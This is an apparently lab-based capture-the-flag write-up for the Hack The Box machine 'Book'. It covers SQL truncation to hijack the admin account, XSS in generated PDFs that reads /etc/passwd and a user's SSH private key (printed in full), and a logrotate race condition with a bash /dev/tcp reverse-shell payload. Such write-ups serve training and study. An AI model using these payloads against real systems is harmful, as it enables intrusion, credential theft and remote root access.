Book - Writeup
Introduction
Basic enumeration
First of all we are going to start with a simple nmap scan, that allows us to show all forwarded ports of the targeted machine. The -sC parameter is used to perform a scan using the default set of scripts. The -sV parameter is used to perform an automated version scan of the targeted machine. The -p- argument is used to perform a network scan of all available 65,535 TCP ports of that server. -oN is used to store the result of the scan in a locally saved file.
nmap -sC -sV -p- -oN full 10.10.10.176 -v
The scan shows, that only port 22 (SSH) and port 80 (Apache webserver), so we are going to enumerate the website that is running on the server.
# Nmap 7.80 scan initiated Fri Feb 5 14:02:31 2021 as: nmap -sC -sV -p- -oN full -v 10.10.10.176 Nmap scan report for 10.10.10.176 Host is up (0.14s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA) | 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA) |_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: LIBRARY - Read | Learn | Have Fun Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Feb 5 14:05:19 2021 -- 1 IP address (1 host up) scanned in 168.08 seconds
The only interesting thing, that the dirbuster scan gives us is, that there is some kind of admin panel running on the webserver.
Let us take a closer look at the hosted website. If we enumerate port 80 we can find a login and registration form. First I tried to create a normal account. I was able to login to the website, but there was nothing really interesting to find.
Exploiting SQL truncation
After some research I found out, about a specific type of SQL injection called SQL truncation. I came to this conclusion because I found a character limit between 10 and 20 characters in the email input field. The function that is used for validation can be found in the source code of the registration form.
function validateForm() { var x = document.forms["myForm"]["name"].value; var y = document.forms["myForm"]["email"].value; if (x == "") { alert("Please fill name field. Should not be more than 10 characters"); return false; } if (y == "") { alert("Please fill email field. Should not be more than 20 characters"); return false; } }
But what is SQL truncation? It allows an attacker to access another user account with his own password. This problem occurs when the user input value is not validating for its length. But how can we exploit this vulnerability now? When we enumerate the website as a default user we can find an admin email called "admin@book.htb". We will try to register with the admin email and add our credentials after the 20th character. If we do this we can register this account with our own password and access the admin account with our own password.
"admin@book.htb" are exactly 14 characters, we will inject another 6 empty characters to reach the limit of 20 characters. After the 6th empty character we will enter our own username. The request for the registration looks like the following. For the username I assumed that the name of the admin account was probably "admin" and I was right.
POST /index.php HTTP/1.1 Host: 10.10.10.176 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.176/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 52 Connection: close Cookie: PHPSESSID=run0731131dha4jg8kto357a11 Upgrade-Insecure-Requests: 1 name=admin&email=admin%40book.htb++++++busche&password=busche123
Exploiting XSS to get a shell
We can now login with the credentials admin@book.htb and the password "busche123". We can also successfully enter the /admin area now. We have the option to export specific PDF files here. I tried to upload a PHP webshell, but it was not working. I researched a little bit and found the following article: article. This website is probably vulnerable to some kind of XSS. I will first try to read the /etc/passwd file from the remote system. Therefore I will create a new book submission from the following URL: http://10.10.10.176/collections.php. The book title is where the magic happens. Here we will inject some javascript that prints the /etc/passwd into the created PDF file. As author I chose user admin and as file I uploaded an empty PDF file called xss.pdf. The book title parameter looks like the following. It was not working without pasting some random text in front of the <script> tag.
busche <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
As a result we can now download the collection PDF from the admin panel and find the following content. The contents of /etc/passwd will be displayed in our downloaded PDF.
Getting user flag
After we found out that this website is vulnerable to XSS, we can now think about getting a shell on the remote system. If you can remember the nmap scan, we found out that SSH was running on the server. We also have a userlist of all users of the targeted system, because we read /etc/passwd. Let us try to read some private SSH keys. User "reader" is the only user that seems interesting for us. We will use the same script, but we will change the path of the file to /home/reader/.ssh/id_rsa. The payload looks like the following.
busche <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///home/reader/.ssh/id_rsa"); x.send(); </script>
If everything worked correctly we can now download the collection from collection.php again, it should display a private SSH key from the user "reader".
-----RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHy G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnV WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80N ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6N 7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZ 75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh 3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtg McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3 tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9E jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX 7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6s GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jO E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZ ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAo SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickg o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9 Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9G hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27 sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQ tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndV 5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj1 y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zM nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4= -----END RSA PRIVATE KEY-----
We can use this private key to login with user reader over SSH.
root@kali:~/htb/Book# ssh -i reader_rsa reader@10.10.10.176 load pubkey "reader_rsa": invalid format Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Feb 5 15:29:10 UTC 2021 System load: 0.0 Processes: 151 Usage of /: 27.0% of 19.56GB Users logged in: 1 Memory usage: 26% IP address for ens33: 10.10.10.176 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 114 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3 reader@book:~$
We can now obtain the user flag.
reader@book:~$ cat user.txt 2e******************************
Exploiting logrotate to get root flag
We are now user reader on the targeted system. After some enumeration I discovered that the service logrotate is running with root permissions, seems pretty interesting for us. This information can also be found with a simple linpeas.sh and pspy scan. Logrotate is an automated tool that rotates, compresses and deletes log files on a system. We can generate a malicious log file that allows us to get a reverse shell on the targeted system as user root. Therefore we need to abuse a race condition.
First I created a payload, that looked like the following.
reader@book:~$ cat payload if [ `id -u` -eq 0 ]; then (/bin/bash -i >& /dev/tcp/10.10.14.XX/1234 0>&1 &); fi
Now I needed to download the source of logrotate, compile it and upload it to the remote system. The source code can be found on the following Github repository: Github
Now we need to execute logrotten to abuse the race condition.
./logrotten.c payload /home/reader/backups/access.log
To trigger the race condition we need to make a change to our logfile.
echo "test" >> /home/reader/backup/access.log
Before triggering the race condition do not forget to start a netcat listener to successfully get a reverse shell.
root@book:~$ whoami root
We can now obtain the root flag.
root@book:~$ cat root.txt cat root.txt 84******************************